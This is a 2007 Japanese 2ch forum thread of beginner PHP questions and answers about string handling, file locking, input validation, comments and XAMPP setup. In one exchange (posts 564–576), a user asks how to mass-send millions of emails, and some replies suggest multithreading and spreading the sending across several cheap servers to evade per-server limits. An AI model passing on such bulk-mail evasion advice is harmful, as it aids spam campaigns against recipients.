極端な話がコンソール画面でls -laて打ったときのWXRの組み合わせみたいな感じでしょうか。

もうちと検索して出直してきます。ありがとうございました。

435 :nobodyさん:2007/06/01(金) 20:39:00 ID:???
LANケーブルで吊れば
LANケーブルで吊れば
LANケーブルで吊れば

436 :nobodyさん:2007/06/01(金) 20:39:20 ID:???
rowとcolumnは現状のDBでは、位置として殆どの場合正しい。
recordとfieldは意味として常に正しい。

437 :nobodyさん:2007/06/01(金) 20:45:44 ID:???
あんまり気になったからSQL(MySQL)のマニュアルを見てみた
両方使われてた

438 :nobodyさん:2007/06/01(金) 22:15:46 ID:8Txj8d3o
スペースで区切られた単語を
SQLの||検索するには、どういうstr処理が一般的なのでしょうか?

$_REQUEST['search'] = "学校 千葉県 船橋市";

$sql = "select .....where

439 :nobodyさん:2007/06/01(金) 22:35:42 ID:???
>>438
explode使うと便利ですよ

440 :nobodyさん:2007/06/01(金) 23:25:39 ID:TCcOsPVi
>>399
ID変わってしまったかもしれませんが
>>372です。
アドバイスありがとうございます。
がんばってやってみます。
Java 結城浩 アマゾンで買ってきます。

441 :nobodyさん:2007/06/01(金) 23:43:51 ID:???
>>417
・class内にfunctionを定義する優位性が分かりません

ま、あれだな、

・部品は、中身を隠蔽しておいた方が後で使い回せるし、部分的に手を入れやすい

・使い回すためには class化しといた方がいいみたいだ

位の認識で、書き慣れておけばいいと思う。
簡単な処理を書き捨てるのなら、class化のメリットは無いと思うけど。


画面遷移が増えてきたり、
画面ぶっこぬき(スクレイピング)+webapiを混ぜこぜにしてグルグル処理するとかいった
ほとんど同じ処理だが微妙に分岐が異なるような処理をしだすと、class化のメリットがわかると思う。


>>362
がんがれ
とりあえず次はコンストラクタからかな。
class名と同じ名前のfunction を書くと classをnewしたときに、まず呼び出される。
んで、この辺りで、いろいろ前準備をする。




442 :nobodyさん:2007/06/01(金) 23:43:55 ID:MZUMr7GL
データの中に半角の空白が数個あるのですが、全て1個にしたいのですが、
どうすれば宜しいでしょうか?
str_replaceを使おうと思ったのですが、
1個しかないときもあれば10個連続するときもあるので、
うまく1個にできなくて困ってしまいました。

例: <半角空白>12<半角空白><半角空白><半角空白>34<半角空白><半角空白>56 → <半角空白>12<半角空白>34<半角空白>56

ヨロシクお願いします。

443 :nobodyさん:2007/06/01(金) 23:44:35 ID:???
>>439
あ、空白でエクスブロードすればいいんですね!

444 :nobodyさん:2007/06/01(金) 23:45:52 ID:???
>>442
正規表現

445 :nobodyさん:2007/06/01(金) 23:56:48 ID:???
>>442
$foo=preg_replace("/\s+/"," ",$foo);


446 :nobodyさん:2007/06/02(土) 00:00:04 ID:???
>>445
補足
改行を含めたくないなら
$foo=preg_replace("/ +/"," ",$foo);


447 :nobodyさん:2007/06/02(土) 00:47:46 ID:4Fzsq5dM
>>444-446
教えてもらったコードで、思い通りの動作ができました。
どうも、ありがとうござました。

448 :nobodyさん:2007/06/02(土) 01:57:42 ID:IL4/kKoQ
質問させて下さい。
phpの最適化を行っている道すがらで見つけたのですが、以下のURL
ttp://labs.unoh.net/2007/05/phptips.html
・@によるエラー制御は遅い
・エラーメッセージはコストがかかる
とあります。
では実際どうしたら速いのでしょうか?
ワーニングレベルでもエラーを全く吐くことなく組めばいいといわれればそれまでですが。

色々検索したのですが、何処も同じような内容でこれ以上の事がかいていませんでした。
お力添え頂けると幸いです。

449 :nobodyさん:2007/06/02(土) 02:03:00 ID:???
ウォーニングレベルのエラーを運用時まで残すなよ

450 :nobodyさん:2007/06/02(土) 03:14:10 ID:???
たしかに。
エラーをだすプログラムはやめてくれ

451 :nobodyさん:2007/06/02(土) 03:59:52 ID:???
>>448
ttp://www.ilia.ws/files/zend_performance.pdf
の53p目嫁

>>449-450
dbへの接続オープンの @ とか運用時にも残るわけだが

452 :nobodyさん:2007/06/02(土) 06:53:00 ID:???
>>451
保存しました


453 :nobodyさん:2007/06/02(土) 10:09:03 ID:???
>>451
戻り値チェックしろよ

454 :nobodyさん:2007/06/02(土) 11:53:58 ID:wQhvKdCT
プログラムの書き方なんですが
例えば単純なショッピングシステムとかの場合だと
フォーム処理、検索処理、など処理機能でページを分けるのか
顧客処理、商品処理、などデータ別でページを分けるのか
どちらの方が良いのでしょうか?

455 :nobodyさん:2007/06/02(土) 11:58:17 ID:???
使う人のことも考えてやれよ・・・

456 :nobodyさん:2007/06/02(土) 11:59:17 ID:???
>>441
昨日の>>362です。
修正してみました。
http://php.shiriagari.com/counter/counter.0.0.4.html
ソースに色付いてないと見にくいと思ったのでHTMLファイルです。
(火狐では色がおかしくなるのでIEで見てください)
虚弱さんの言ってることはまだ全然実行(理解すら)できてないので今からそっちがんばってきます。

457 :nobodyさん:2007/06/02(土) 12:12:20 ID:???
>>456
flockの使い方が間違ってるって言ってるだろ

458 :nobodyさん:2007/06/02(土) 12:14:49 ID:???
>>457
すいません。
どう違うのかわからないのですが

459 :nobodyさん:2007/06/02(土) 12:15:22 ID:???
>>432が一瞬うちの子供乙に見えた

460 :nobodyさん:2007/06/02(土) 12:27:00 ID:???
>>456
理解してから修正しろよ・・・
つかphps使えよ・・・

461 :nobodyさん:2007/06/02(土) 13:02:19 ID:???
まあgottenDataとかresorceとか、笑いをとる言葉を使わないところからはじめようぜ

462 :nobodyさん:2007/06/02(土) 13:04:45 ID:???
こんちは、石田武雄です。高校2年っす。
これから、ガンガンやるんでみんなヨロシク!

463 :nobodyさん:2007/06/02(土) 13:49:31 ID:???
石田君。高校生のうちは限定した分野ではなく、
さまざまな分野の勉強をするべきだと思うよ。
学校の勉強をがんばろうね。

464 :nobodyさん:2007/06/02(土) 14:05:11 ID:???
>>463
いや、それはoK。ってか、コンピューターは情報でやるやる勉強だから。
大学じゃなくてitの方の専門逝くっから、他の科目は勉強する必要なし。
数学とは、○進法とかの部分は得意だけど、後はさっぱ。まぁ、卒業できればいっしょw
うちの先生バカばっかだから、俺がPCのことを逆に教えてやっているw
専門行く前に、プログラム言語きわめるぜ!!

465 :nobodyさん:2007/06/02(土) 14:07:56 ID:???
めちゃめちゃ大事だぞ数学。
おれ今から数学だけ習いに大学通い直したいくらいだよ。
暗号化も圧縮もポリゴンも放物線も全部広義の数学。
数学わからなきゃそのへんの雑魚プログラマで人生終わりだよ。

466 :nobodyさん:2007/06/02(土) 14:08:17 ID:???
>大学じゃなくてitの方の専門逝くっから、他の科目は勉強する必要なし。

だからPGはバカにされる

467 :nobodyさん:2007/06/02(土) 14:10:50 ID:???
ちなみにプログラマってのは3年もやればただのキーパンチャ兼テスタと化すから、
趣味でやるか、構築設計から導入サポートまで全て自分でやるかの二択になる。
後者ならどうしたって国語も数学も礼儀作法も学校の勉強は全て必要になる。

468 :nobodyさん:2007/06/02(土) 14:21:00 ID:???
職人としてスーパーPGを志すなら、それも良いと思う。
一番たちが悪いのは、ろくに技術力が無いのSEが上流工程を仕切ること。
一流企業のSEの技術力のなさは目も当てられない。

469 :nobodyさん:2007/06/02(土) 14:27:56 ID:???
>>464
>専門行く前に、プログラム言語きわめるぜ!!
なんで所詮スクリプト言語のPHPを選択したのかね?
悪いことは言わないから、やるならJavaかC#かVB.NETやったほうがいい。

470 :nobodyさん:2007/06/02(土) 14:34:01 ID:???
>悪いことは言わないから、やるならJavaかC#かVB.NETやったほうがいい。
全部いらねえ。んなもん10年後にはマイナー言語だ。バーカバーカ
子供は今しか出来ないことをやるんだ。
感性を磨くこと。世界の理を知ること。そしてセックルすること。

471 :nobodyさん:2007/06/02(土) 14:36:43 ID:???
>全部いらねえ。んなもん10年後にはマイナー言語だ。バーカバーカ
これはマジレスしちゃっていいの?釣りなんだろどうせ?

472 :nobodyさん:2007/06/02(土) 14:41:33 ID:???
>>471
バカかおまえ いま機械語がどれだけアツイのか知らないだろ!!!!











うちの情報学科で

473 :nobodyさん:2007/06/02(土) 15:42:34 ID:???
入門用の言語なんて正直余程変なのじゃなければ何でも良い
でもPHPはダメだな
何でも簡単に出来すぎるし、型の概念とか身に付かないでしょ

474 :nobodyさん:2007/06/02(土) 16:22:02 ID:VjLksS9h
MySQLでselectの検索時間を取得する関数はあるんでしょうか?

やっぱりphp側で前後のミリ秒経過ですかねぇ…

475 :nobodyさん:2007/06/02(土) 17:08:31 ID:???
やっぱり入門授業ならCで。

476 :nobodyさん:2007/06/02(土) 17:18:38 ID:7YNSOR8L
http://pc11.2ch.net/test/read.cgi/db/1178154390/
ここでphpのセッションでも使われている
md5のバッティングが話題になってるけど
バッティング率って実際どのくらいですか?

477 :nobodyさん:2007/06/02(土) 17:20:38 ID:???
>>476
164 名前:NAME IS NULL[sage] 投稿日:2007/05/31(木) 23:40:19 ID:???
>>162
バントしたらホームランになっちゃった くらいの確率

以上

478 :nobodyさん:2007/06/02(土) 17:25:46 ID:7YNSOR8L
それを数字で表すと何パーセントですか?

479 :nobodyさん:2007/06/02(土) 17:27:15 ID:6vXnRB3n
コメントについて質問です。

//ないし/**/のコメント内部は、クライアントはダウンロードしているのですか?

コメントが多いスクリプトは重くなるという話を聞きまいした。phpの他のコードがクライアントに渡らないのと同じ理由で
コメントもサーバ側で処理されていると思うのですが・・・

480 :nobodyさん:2007/06/02(土) 17:28:43 ID:6vXnRB3n
重くなるというのは、ファイルの容量が大きくなるという意味ではなくて
転送量が大きくなる、という意味です

481 :nobodyさん:2007/06/02(土) 17:43:31 ID:???
>>479-480
試してみれば?

482 :nobodyさん:2007/06/02(土) 17:55:01 ID:???
>//ないし/**/のコメント内部は、クライアントはダウンロードしているのですか?

サーバーサイドっていう意味判ってる?


483 :nobodyさん:2007/06/02(土) 17:59:52 ID:???
釣りだろw

484 :nobodyさん:2007/06/02(土) 18:04:34 ID:6vXnRB3n
>>481
後でやってみます

>>482-483
私がコメントの多いソースを書いていたら
先輩に「それじゃあ転送量が増大するだろ」と忠告されました
コメント書かないとわけわからなくなる糞な設計書を書いたのはその人なので
釣りだとすればその人が犯人なんです

485 :nobodyさん:2007/06/02(土) 18:08:10 ID:???
釣りでしたね。
ごめんなさい

486 :nobodyさん:2007/06/02(土) 18:31:18 ID:???
>>483
おまえうぜえな。
社会のゴミってよく言われるだろ?

487 :nobodyさん:2007/06/02(土) 18:32:51 ID:???
いやこれは釣りだと思われても仕方ないだろう

488 :nobodyさん:2007/06/02(土) 18:32:59 ID:6vXnRB3n
>>485-486は私じゃない

489 :nobodyさん:2007/06/02(土) 18:33:39 ID:6vXnRB3n
結論としては、先輩が終わってるっていうことで良いんですか?

490 :nobodyさん:2007/06/02(土) 18:56:49 ID:???
どちらも終わってると思うので、
後は二人仲良く相談してコーディングしてください。

491 :nobodyさん:2007/06/02(土) 18:57:47 ID:???
>>489
終わってるね
基礎中の基礎も解っていない

492 :nobodyさん:2007/06/02(土) 19:02:34 ID:???
>>490
ひどww 俺バイトですから書かれてることやって提出するだけです
提出したら電話がかかってきて
「おまえのソースはコメント多すぎるんだよ 転送量がハンパなくなるから勝手に削除したわ
余計なことさせるなよ」
と言われました メールじゃなくて電話ですよ


>>491
どもです

ありがとうございました

493 :nobodyさん:2007/06/02(土) 19:03:34 ID:6vXnRB3n
ID出し忘れ
失礼しました

494 :nobodyさん:2007/06/02(土) 19:07:21 ID:???
コメント削除ぐらいPHPにやらせればいいのに馬鹿な先輩だ

495 :nobodyさん:2007/06/02(土) 19:10:46 ID:???
>>493
ごめんな。
言い過ぎたよ。明日おごるから

496 :nobodyさん:2007/06/02(土) 19:13:16 ID:???
コメントを丁寧に書くことはいいことだよ。
むしろ、コメントがなくて今まで散々悩まされてきた。
もっと、しっかり評価してくれる人の下で仕事したほうがいいぞ。

497 :nobodyさん:2007/06/02(土) 19:14:40 ID:???
つーかコーディング規約あるだろ。

498 :nobodyさん:2007/06/02(土) 19:19:14 ID:???
この場合、コーディング規約は、あんま関係ない。

499 :nobodyさん:2007/06/02(土) 19:32:43 ID:???
コメントさ〜〜〜ん☆彡

500 :nobodyさん:2007/06/02(土) 19:54:02 ID:???
>>498
普通ある。
コメントについても言及してるはず。

501 :nobodyさん:2007/06/02(土) 20:26:28 ID:???
>>500
コーディング規約でコメントの「書き方」はよくあるが「つけ方」は普通ないだろ
まあ、一行ごとにコメント書けというアホ規約があって
ボスが規約作った奴に怒鳴り込んだプロジェクトもあったけどさ

ウチのまわりだと、クラスやpublicメソッドのコメントはともかく
それ以外のコメント書くならコメントがなくてもわかるようなコーディングしろ
ってのが主流ですだよ

502 :nobodyさん:2007/06/02(土) 20:41:15 ID:???
>>501
それだとコメントの魅力半減じゃ
コード読まなくても何やってるのか解るようにするためにコメント書くのも良いんじゃない?

503 :nobodyさん:2007/06/02(土) 20:47:31 ID:???
コメント書かなくてもコード見れば分かると言う奴のコードほど見づらい。

504 :nobodyさん:2007/06/02(土) 21:38:30 ID:???
コメント書いてても他人の書いたコードはさっぱりだぜ!

505 :nobodyさん:2007/06/02(土) 21:46:48 ID:???
投稿出来るレビューサイト作ってみたいんですが、難しいですかね?

506 :nobodyさん:2007/06/02(土) 21:49:21 ID:???
そんなに難しくない

507 :nobodyさん:2007/06/02(土) 21:50:46 ID:???
>>505
それはphpだと厳しい。そこまでいくと、perlかrubyでやらないと駄目かも。

508 :nobodyさん:2007/06/02(土) 21:51:37 ID:???
>>507
それはひょっとしてギャグで言っているのか?

509 :nobodyさん:2007/06/02(土) 21:54:09 ID:???
>>508
いや、ギャグでもなんでもないんだが・・・
自由にユーザーが投稿できるようにするには、
入力チェックや何やらでphpでは手に負えなくなるだろ。

510 :nobodyさん:2007/06/02(土) 21:57:46 ID:???
>>509
あの・・・何言ってるんだ?
何か別のPHPと勘違いしていないか・・・?

511 :nobodyさん:2007/06/02(土) 22:05:58 ID:???
まぁ、phpのスレだから、あまり言っても荒れるだけだから止めとくけど。

ノコギリでも刺身が作れるだろ、と言われれば、
そうですね、と苦笑して答えますが。

512 :nobodyさん:2007/06/02(土) 22:16:33 ID:???
>>511
phpを何に入れ替えても使える、便利な煽り文句ですね

513 :nobodyさん:2007/06/02(土) 22:17:30 ID:???
>>507
rubyって・・・

514 :nobodyさん:2007/06/02(土) 22:19:04 ID:???
なんか、荒れてる・・・。
結局のところどっちなんでしょう?

515 :nobodyさん:2007/06/02(土) 22:20:01 ID:???
全然厳しくない
掲示板の延長程度

516 :nobodyさん:2007/06/02(土) 22:20:53 ID:???
>>507は何かいってみたかっただけの駆け出しプログラマーなんだ。
許してやってくれ。

517 :nobodyさん:2007/06/02(土) 22:24:45 ID:???
なるほど。
ありがとうございます。

518 :nobodyさん:2007/06/02(土) 22:35:18 ID:???
いつもここの酷い有様を楽しみながら見ている
下質大好きっ子の俺が言うのもなんだけど
今日の流れの酷さったら半端ないな

519 :nobodyさん:2007/06/02(土) 22:44:09 ID:???
ここんとこ毎日こんな感じ

520 :nobodyさん:2007/06/02(土) 22:52:38 ID:???
>>505
Javascriptのライブラリでやるのがオススメ
俺が知ってるのでも2,3あるけど、その場でプレビューできるから最高だよ

521 :nobodyさん:2007/06/02(土) 22:54:57 ID:???
PHP入門者なんだけど、
入力チェックってjavascriptでやるほうが簡単なの?

522 :441:2007/06/02(土) 22:59:43 ID:4co9FcJH
>>456

ttp://php.benscom.com/manual/ja/function.flock.php
例 623. flock() の例

<?php

$fp = fopen("/tmp/lock.txt", "w+");

if (flock($fp, LOCK_EX)) { // 排他ロックを行います
fwrite($fp, "Write something here\n");
flock($fp, LOCK_UN); // ロックを解放します
} else {
echo "ファイルをロックできません!";
}

fclose($fp);

?>
だな ロックを掛けたら解除しる ってとこか

523 :nobodyさん:2007/06/02(土) 23:00:02 ID:???
>>521
だから、そんなもんは、phpだろうとjavascriptだろうとperlだろうと何だってできるんだよ。
迷ってないで、まずは作れよ。

524 :nobodyさん:2007/06/02(土) 23:02:14 ID:???
簡単かどうか?と聞かれれば、慣れてるほうが簡単だろうとしか言い様がない。
どっちがいいか?と言われれば、両方組み合わせるのが一番いいのは言うまでもない。
javascriptは画面遷移を伴わないでチェックできる利便性があるが、
クライアント環境に依存するので、javascriptオンリーは避けたほうがいい。

525 :nobodyさん:2007/06/02(土) 23:03:21 ID:???
>>521
jsで入力チェックしても、cgi側でもう一回チェックする羽目になるのだが

526 :nobodyさん:2007/06/02(土) 23:21:38 ID:???
>>525
確かにな 処理は増える
だが、利用者の側に立てば、その場でチェックできる方が良いのではないだろうか

527 :nobodyさん:2007/06/02(土) 23:28:05 ID:???
>>522

読みとりの時は排他ロックじゃなくて、LOCK_SH LOCK_UN か、
書き込みの時は LOCK_EX LOCK_UN だね

getData();とかは素直にそのままreturnでカウンタの値(or 戻り値を含むarray)を返した方が良いと思う
この辺は上で他の人もいっていたけど、Javaの入門の方を見た方がいいか、、setter getterあたりとか




528 :nobodyさん:2007/06/02(土) 23:30:45 ID:???
>>526
>>521の言い方だとjsかphpかどっちか片方にしか掛けなさそうだから言ったまでさ

確かに俺も入門者に接する態度じゃなかったな、言い直すか

>>521
どっちでもやっても大差は無いよ
でも、jsで入力チェックしただけだと悪意の有るユーザーが不正な文字列を簡単に送る事が出来てしまう、だからphp側でもチェックするのは必須

529 :441=522=527:2007/06/02(土) 23:31:09 ID:4co9FcJH
すまん、安価張り間違えた。

全部>>456に対してのレスです

530 :nobodyさん:2007/06/02(土) 23:43:52 ID:???
クライアントサイドでvalidateして終わりって恐ろしすぎる

531 :521:2007/06/02(土) 23:59:41 ID:???
>>528
なるほど。両方でチェックするという発想はありませんでした。
勉強になります。

532 :nobodyさん:2007/06/03(日) 02:27:21 ID:V2jBxdII
みなさんはE_NOTICEが出ないようにコーディングしてますか?

533 :nobodyさん:2007/06/03(日) 02:31:49 ID:???
しているよ


534 :nobodyさん:2007/06/03(日) 02:33:06 ID:???
PEARをphp5でつこうたらnoticeでまくりじゃん

535 :nobodyさん:2007/06/03(日) 03:09:39 ID:QBl67X/1
セッション用のディレクトリに、
一時作業用ファイルを作成して
別のプロセス間で共有させたいのですが、
どうやりゃいいですか?

536 :nobodyさん:2007/06/03(日) 03:17:59 ID:???
それがわからないのならやらないほうがいいよ。
教えてもらってもセキュリティつかれるだけ。
おまえにはまだ早い

537 :nobodyさん:2007/06/03(日) 03:29:24 ID:QBl67X/1
>>536
共有鯖ではないので多分大丈夫です
session.save_pathというのがありました
これを使えばいいと思うのですが
もしかしてセッションを削除する時に
同時に削除されてしまったりするのでしょうか
ワイルドカード使って削除しているのか
ただ単に全削除しているのかによると思いますが

538 :nobodyさん:2007/06/03(日) 03:31:44 ID:???
共有鯖じゃないなら大丈夫だという自信があるならやってください。
おれならおまえの鯖をクラックするのにそう時間はかからないよ

539 :nobodyさん:2007/06/03(日) 03:41:19 ID:???
((((;゚Д゚)))))

540 :nobodyさん:2007/06/03(日) 03:45:03 ID:???
>>535
書いてることが意味不明なわけだが
具体的に何したいの?

541 :nobodyさん:2007/06/03(日) 04:49:53 ID:???
     ∧_∧
    ( =д=)  世の中は質問があれば答えがある。その2つしかないんだっ!   
    ハ∨/^ヽ
   ノ::[三ノ :.'、
   i)、_;|*く;  ノ
     |!: ::.".T~
     ハ、___|

542 :nobodyさん:2007/06/03(日) 08:46:00 ID:???
>>541
それ1つでしょ

543 :nobodyさん:2007/06/03(日) 08:47:52 ID:???
>>542=コナン


544 :nobodyさん:2007/06/03(日) 12:17:38 ID:yVYYmrsT
アクセスしてきた場合に、あるファイルを読み込む処理をしているのですが、
不定期にエラーが発生してしまって困っています。
ここ1ヶ月試行錯誤でコードをあれこれいじったのですが、どうしてもエラーが消えないんです。
アドバイス頂けないでしょうか?宣しくお願いします。

【コード】
$fp = @fopen($fileName, 'r');
if ($fp) {
while ($line = @fgets($fp)) {
if ($line == FALSE || $line == "") {
break;
} else {
// ファイル処理
}
}

@fclose($fp);

}
【エラーメッセージ】
「while ($line = @fgets($fp)) {」の部分で発生
メッセージ「fgets(): 10 is not a valid stream resource」
【発生頻度】
1000アクセスに2,3回程度
【再現性】
アクセス負荷、時間帯、処理の内容に関係なく不定期に発生

545 :nobodyさん:2007/06/03(日) 12:56:46 ID:XtY/sQS4
PHPで1回だけ処理をさせたい場合ってどういう風に記述するんですか?
(初期化処理とかなんですが・・)
2回目以降にリクエストされても、その処理は通したくないのです。


546 :nobodyさん:2007/06/03(日) 12:59:28 ID:???
>>545
unlink(__FILE__);

547 :nobodyさん:2007/06/03(日) 13:01:47 ID:???
>>544
「試行錯誤であれこれいじった」とかいう情報に何の意味があるの?
頑張ったんですけどだめでしたとかいうポーズ?

548 :nobodyさん:2007/06/03(日) 13:02:20 ID:???
>>544
エラーメッセージの通り
fgetsの引数に何かが原因で10を渡してしまってるんだろう

549 :nobodyさん:2007/06/03(日) 13:13:09 ID:???
>>547
べつにえーやんそんくらい。おまいの嫌味情報のがよっぽどいらん。

550 :nobodyさん:2007/06/03(日) 13:17:57 ID:XtY/sQS4
>546

それって処理終わったら消すってこと?(ファイル自体を)
PHPってそんな方法でしか実装できないの?

551 :nobodyさん:2007/06/03(日) 13:20:35 ID:???
>>550
というか質問が曖昧なのだよ。

552 :nobodyさん:2007/06/03(日) 13:23:01 ID:???
>>550
要件があいまいすぎてわけわからん。
本当に一回しか実行しないなら、一回実行して消せばいいのはあたりまえすぎだし。
セッションごとに一回って意味にとれなくもないし、妙に回答のしづらい質問だな。

553 :nobodyさん:2007/06/03(日) 13:24:46 ID:XtY/sQS4
たとえばDBのコネクションをプーリング(保持)したい場合って、毎回接続させたくないから、apache起動時とかもしくは1番最初のリクエスト時にDBの接続をして、次回以降はさせたくないとかそんな意味なんだが。


554 :nobodyさん:2007/06/03(日) 13:31:53 ID:???
>>553
pconnectとかだったらDBがやってくれるよ
2回目以降の接続なら自動的に既存の接続を使いまわしてくれる
それ以外でも1回目だけとか考えるより、対象の処理が完了していたら
実行しないとかそういう風に考えるのがまあ普通だな例外もあるが

555 :nobodyさん:2007/06/03(日) 13:32:47 ID:???
singleton使えば?
あと何でいきなり口調が偉そうになってんの?

556 :nobodyさん:2007/06/03(日) 13:33:10 ID:???
コネクションプーリングだったらググれば出るぞ

557 :nobodyさん:2007/06/03(日) 13:36:21 ID:XtY/sQS4
>> 554

ありがとうございます。
参考になりました。


558 :nobodyさん:2007/06/03(日) 13:37:34 ID:XtY/sQS4
>> 556

いや特にコネクションプーリングがやりたいわけじゃなく、PHP使って初期化処理って普通どうすんのかなぁと気になって。
上でも書いたけどコネクションプーリングは例えです。

559 :nobodyさん:2007/06/03(日) 13:55:14 ID:9Yu/VUSy
PHP4でdelegateパターンを実現する方法はありますでしょうか?

560 :nobodyさん:2007/06/03(日) 14:30:00 ID:???
逆にどこが実装しにくいのか聞きたい

561 :nobodyさん:2007/06/03(日) 14:36:04 ID:9Yu/VUSy
>>560
存在しないメソッドが呼ばれたときに、呼ばれるメソッドを定義できて、
そのメソッド名とパラメータがえられれば実装できます。
が、今一度マニュアルを漁ってみたところそのような機構はないようです。

562 :nobodyさん:2007/06/03(日) 14:43:05 ID:???
>>561
一応PHP4にもある、4.3.0以降オンリーで5のより使いにくいけどな
http://jp.php.net/overload
でも5でやるのがおすすめだな

563 :nobodyさん:2007/06/03(日) 14:50:10 ID:9Yu/VUSy
>>562
ありがとうございます。こんなところにあるは思いませんでした。
一応リファレンスは通読していたつもりだったんですが…。

確かにPHP5でやると楽なんですが、PHP4が要件なんです。
これで何とかなりそうです。本当にありがとうございました。

564 :nobodyさん:2007/06/03(日) 16:12:50 ID:???
1時間に100万通くらいメールを送りたいんですが、
sendmail関数をforでループさせても3万通位が限界です。
これってphpの仕様?
できれば、100万通じゃなくても多ければ多いほどよくて1億通でも送ることが可能なら送りたいです。
よろぴく♪

565 :nobodyさん:2007/06/03(日) 16:15:06 ID:???
>>564
spam業者乙

566 :nobodyさん:2007/06/03(日) 16:16:06 ID:???
>>564
それはphpだと厳しい。そこまでいくと、javaかperlでやらないと駄目かも。

567 :nobodyさん:2007/06/03(日) 16:21:45 ID:???
>>566
レスありがと!
んで、javaだと何かいい方法あんの?

568 :nobodyさん:2007/06/03(日) 16:23:28 ID:???
>>566
おいおい関係ねーよ。誘導すんなぼけ。

569 :nobodyさん:2007/06/03(日) 16:25:09 ID:???
phpがどうというよりMTAが捌ききれてないような

570 :nobodyさん:2007/06/03(日) 16:30:02 ID:???
>>567
javaはphpと違って言語レベルで並行処理ができる。
※ こういうことが出来ないのが、phpがスクリプト言語と言われる由縁だけど。
詳しくは、javaのスレでメールの送信方法と、マルチスレッドの方法を聴いて。
※ その前に、googleで検索するように。すぐ見つかる。
あとは、サーバーによって一時間当たりのメール送信数に制限掛けているところがあるから、
複数の安いサーバーと契約して送信すればできるんじゃないか?

571 :nobodyさん:2007/06/03(日) 16:34:57 ID:???
強烈な電波を感じます

572 :nobodyさん:2007/06/03(日) 16:37:13 ID:???
普通100万とか送ったら自滅するだろ。

573 :nobodyさん:2007/06/03(日) 16:41:15 ID:???
結局、phpだとダメダメってことな。
jjavaもよくわからんけど、わかんかったらまたききに来るわ。

574 :nobodyさん:2007/06/03(日) 16:43:27 ID:???
pcntl_forkでsocket100個作って回してみろよ

575 :nobodyさん:2007/06/03(日) 16:43:45 ID:9Yu/VUSy
んなこたない。用途に合わせて適切に道具を選べないお前がダメダメってことだ。

576 :nobodyさん:2007/06/03(日) 16:46:36 ID:???
>>573
もうここには、聞きに来ないでくれ。
javaなら、下のメールリストに高木さんという親切な管理人さんがいらっしゃるから、
何も分からないから、メールで大量送信できるようなプログラムを至急作って送って下さい。
と送れば、すぐ作ってくれるんじゃないかなぁ。
ttp://java-house.jp/ml/

577 :nobodyさん:2007/06/03(日) 16:50:24 ID:???
>>576
宣伝乙

578 :nobodyさん:2007/06/03(日) 16:50:31 ID:???
ここが一番クソスレクソサイトなんだからここでやれよ

579 :nobodyさん:2007/06/03(日) 16:56:48 ID:???
それは宣伝と言うよりも……怖い…

580 :nobodyさん:2007/06/03(日) 16:57:59 ID:???
GCされた時に
session_destroyすると
Message: session_destroy() [function.session-destroy]: Session object destruction failed
になります。
セッションが切れているかどうかを判定する方法はないですか?

581 :nobodyさん:2007/06/03(日) 19:08:19 ID:???
タイムアウト処理に関して質問です。
ある処理が一定時間経っても終了しなかった場合に、次以降の処理に進むような処理はどうやって実装するのでしょうか。

具体的にやりたいのは、数件のRSSファイルをネットワーク経由で持ってくる場合、n秒以上応答が無い場合は
次のURLに移る・・・というような処理です。

宜しくお願いいたします。

582 :nobodyさん:2007/06/03(日) 19:14:26 ID:???
>>580-581
テンプレ嫁

583 :581:2007/06/03(日) 20:48:31 ID:ngQVF/3a
失礼しました。

環境はWindows、Apache、PHP5.2.1です。

584 :nobodyさん:2007/06/03(日) 20:51:34 ID:???
>>580
session_destroyしてるってことは、そのスクリプトの前の方で
session_startしてるわけだわな
んで、session_destroyの時点でセッションのデータが削除されてるってことは
(session_destroyの時間 - session_startの時間) < session.gc_maxlifetime
になるわけだと思うが、いったい何をしたらそうなるのかこっちが聞きたいわ

>>581
RSSをHTTPでもってくるにしても色々やり方があるわけで
それによって答えも変わるわな

585 :nobodyさん:2007/06/03(日) 22:19:08 ID:3VqHHU9G
コメント欄のcgiが欲しいんですけど何処かにありませんか?

586 :nobodyさん:2007/06/03(日) 22:25:30 ID:???
>>585
日本語でおk&スレ違い&
http://pc11.2ch.net/test/read.cgi/php/1180181033/41
これお前だろ

587 :nobodyさん:2007/06/03(日) 22:31:21 ID:???
>>585
簡単だからつくれ

588 :nobodyさん:2007/06/03(日) 22:38:17 ID:???
>>585
そんなのコメントのフリして自分で書いたHTMLあげておけや

589 :nobodyさん:2007/06/03(日) 22:52:53 ID:???
>>588
>>585じゃないけど、その仕様だと例えばHTMLを知らないユーザーとかだとアップできなくない?
HTMLの説明書きとかを注釈で加えるとか?

590 :nobodyさん:2007/06/03(日) 22:57:00 ID:???
>>589
お前馬鹿だろ

591 :nobodyさん:2007/06/03(日) 23:00:54 ID:???
>>590
バカはお前だ。
ブログのコメント欄にHTMLで書けと要求するシステムがどこにあんだよw

592 :nobodyさん:2007/06/03(日) 23:04:52 ID:BrDIy+5H
XAMPPのことをプログラム初心者向けに解説されてるページとかはないでしょうか?
ぐぐってもなんらかのプログラム知識ある人向けに書かれてるページばかりで
さっぱりわかりません。

593 :592:2007/06/03(日) 23:11:19 ID:BrDIy+5H
Warning: include(lang/jp.php) [function.include]: failed to open stream: No such file or directory in C:\xampp\security\htdocs\index.php on line 13
Warning: include() [function.include]: Failed opening 'lang/jp.php' for inclusion (include_path='.;C:\xampp\php\pear\') in C:\xampp\security\htdocs\index.php on line 13

https://localhost/xampp/
でセキュリティを押すと上のようなページ表示されてるけど
解説ページ探してもちょっと違うんだよね
なんか間違えてインストールしてるのかな?

594 :nobodyさん:2007/06/03(日) 23:12:09 ID:???
>>591
aho-
どう見ても>>588は「自分でコメント欄もどき作っておけ」っていう冗談じゃねーか
日本語大丈夫か?

595 :581:2007/06/03(日) 23:13:38 ID:ngQVF/3a
>>584
返信ありがとうございます。

RSSを持ってくる手段についてはfopenを使うか、もしくはRSS読み込みまでやってくれるモジュールを使うか
決めてはいませんでした。仮にfopenで持ってくる場合にどうすれば良いかお聞きしたいです。

596 :nobodyさん:2007/06/03(日) 23:25:52 ID:???
>>593
検索すればいくらでも出てくると思うが、、、
jpの言語ファイルがないってインストーラで入れるときに
japanese選んだのかい?

597 :588:2007/06/03(日) 23:31:58 ID:???
おまいら何折れ抜きでおもしろいことしてんのよw
くそ、ID出しておけばよかった・・・

598 :592:2007/06/03(日) 23:38:39 ID:BrDIy+5H
しっかりと日本語を選択しました。
インストール自体が失敗してたのかな?


599 :592:2007/06/04(月) 00:07:17 ID:fJ2k7ySq
原因発見
DLしたXampp自体のバグだったようです
http://support.exxaxon.co.jp/index.php?topic=30.0
のようにjp.phpってのをコピーしたら表示できました
しかしまぁ1.5.5の時のバグが1.6.2でも解決されてないんですね
